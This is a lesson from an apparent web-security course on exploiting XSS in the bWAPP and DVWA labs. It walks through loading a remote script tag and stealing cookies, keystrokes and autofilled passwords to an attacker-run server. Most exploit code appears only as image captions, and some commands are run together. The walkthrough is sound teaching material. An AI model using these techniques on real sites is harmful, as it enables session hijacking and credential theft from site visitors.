6.7. Cross Site Scripting – Exploitation


In the previous lesson, we discussed what XSS vulnerabilities are, how they are categorized, and how to test for them.

However, what danger does this vulnerability pose? What risks does a user face when visiting a vulnerable website?

Below, we will explore some practical examples of how malicious actors can exploit XSS vulnerabilities.


Downloading a script from an external source

Once the vulnerability has been identified and confirmed, a malicious actor can exploit it for various attacks. However, in many cases, it may require writing a few lines of code. Therefore, it is more practical to create a JavaScript file and host it on a server controlled by the hacker. For the vulnerable application, just a single line of code is needed to fetch a file from a remote server.

Let's look at a simple example to demonstrate this method. Launch Kali and open a terminal. In the home directory, create a folder, for example, "xss." Then, in the same folder, create a file with a .js extension. To start with, we'll write just one line of code to this file. Here are the commands:

mkdir xss/cd xss/touch xss.jsecho 'alert(12345);' > xss.js

Next, start a web server in the same directory:

python3 -m http.server 80

Now, the JS file will be accessible at the link http://Kali_IP/xss.js, in my case, it's Open any vulnerable application, such as bWAPP, and input the following exploit:

<script src=></script>

Successfuly downloaded JS file in XSS

As you can see from the screenshot, the exploit worked, and we can create more complex code. If we go back to our web server, you can see in the terminal the logs of requests to the server and how it responded to them:

The log of web server log with downloaded js file


Stealing Cookies

Quite often, XSS vulnerabilities are exploited to steal cookies. Many web applications use cookies for automatic login to a website. This means that after entering your login and password once, you don't need to enter the password again for a certain period of time, as the website "recognizes" the user thanks to the stored cookie values. Let's create a simple exploit that extracts cookies and then sends them over the network to a server:

Stealing cookie JS exploit

We will transmit the cookie through an HTTP request as a GET parameter back to the server from which the exploit will be downloaded. Let's test our exploit in the bWAPP application:

View of Downloaded JS cookie stealer in dev panel

Everything appears as if the exploit has been loaded. Let's check the web server logs:

Web server log with stolen cookie

The exploit has worked. To transmit over HTTP, we had to perform URL encoding of the extracted cookies, but we can easily decode them using Burp Suite or any other online services:

Decoded stolen cookie in BurpSuite

In addition to cookies, a JS script is also capable of retrieving data from the browser's local storage. Some applications may use them for additional user authentication or for storing some confidential information.



If a website has a Stored XSS vulnerability, it can be used to upload a spy program that tracks the victim's actions and sends all the information to the attacker's server. However, it should be clarified here. A spy program or keylogger can track a user's activity when they are directly interacting with the page that contains the embedded keylogger. If the user switches to another tab or simply minimizes the browser window, the program itself will become inactive for a while.

Nevertheless, depending on the website and the level of confidentiality of the information on it, a keylogger can be quite dangerous. Let's demonstrate the operation of the exploit with a simple example using the bWAPP application. To begin with, let's create an exploit that will respond to key presses:

JS keylogger code

The script is quite simple. We've created an event handler that responds to key presses. After each press, the sendKey function is called, which will transmit the values of the pressed keys one by one.

Now let's move on to bWAPP and select Cross-Site Scripting - Stored (Blog) and then enter the exploit:

bWAPP inserting keylogger exploit

The file has been loaded onto the page and from this point onwards, it will record any keypresses. As an example, let's type the word "Hello" and check the browser and web server logs:

Firefox keylogger request

JS keylogger output

As you can see, everything is working. If desired, you can create a more complex exploit or modify the web application to record the received information.


Stealing stored passwords

Modern browsers allow users to save passwords for websites so that they don't have to re-enter their authentication data when revisiting these sites. Instead, the browser automatically fills in the saved credentials in the appropriate fields.

Many inexperienced users actively use this option without realizing the potential danger it poses. Saved passwords can be easily exposed and sent to a hacker using a simple trick. If a page creates a fake login form using JavaScript, the browser will automatically populate it with the saved login and password. Then, the same script can send this information to the hacker's server. Moreover, it's possible to make the form invisible, so the user won't suspect anything.

Let's try to implement this in practice. We'll use the DVWA application, which requires you to log in with admin/admin credentials first. After logging in, the browser will prompt you to save the credentials. Agree to it. After that, log out and check if the browser autofills the saved data:

Browser inserts saved creds

As we can see, it autofills. Now, let's take a look at what the authentication form looks like in the HTML code:

Login form source code

Let's try to create a similar form using JavaScript. Here is what the final exploit will look like:

Password stealer JS exploit

At the beginning (lines 2-10), we create 2 <input> elements, assign them the corresponding types and attributes. Then (lines 12-13), the created elements are added to the DOM. After that (lines 15-16), each of them is assigned its event handler that responds to changes in their states. In other words, after the browser automatically assigns them saved values, their states will change. As a result, the corresponding functions will be triggered (lines 18-24).

Save the exploit and start the web server. Then, log in to DVWA, go to the XSS Stored section, and add a link to the exploit. If we check the page's code, we will see the created input elements:

Created login form by JS exploit

In the Network tab, you will find the network requests that have been made:

Credentials stealer request in Firefox

Stolen saved credentials in web server log




Another example of an XSS attack is the visual manipulation of a webpage's content, often referred to as "Virtual Defacement." The attack principle involves using JavaScript to modify certain elements on a page or completely change its design.

For instance, a hacker could place disguised links to a specific website that open based on user actions or automatically after the page loads. A hacker could also place a fake login form on a page, convincing users to log in again for supposed security reasons. Unsuspecting users enter their credentials, and the script surreptitiously sends them to the attacker's server while hiding the fake form.

In various online stores or marketplaces, a malicious script could intercept your credit card information during a purchase. For example, the script could create a form and ask you to enter your card number.

There are numerous other scenarios for XSS attacks. In this article, we've only covered some of them.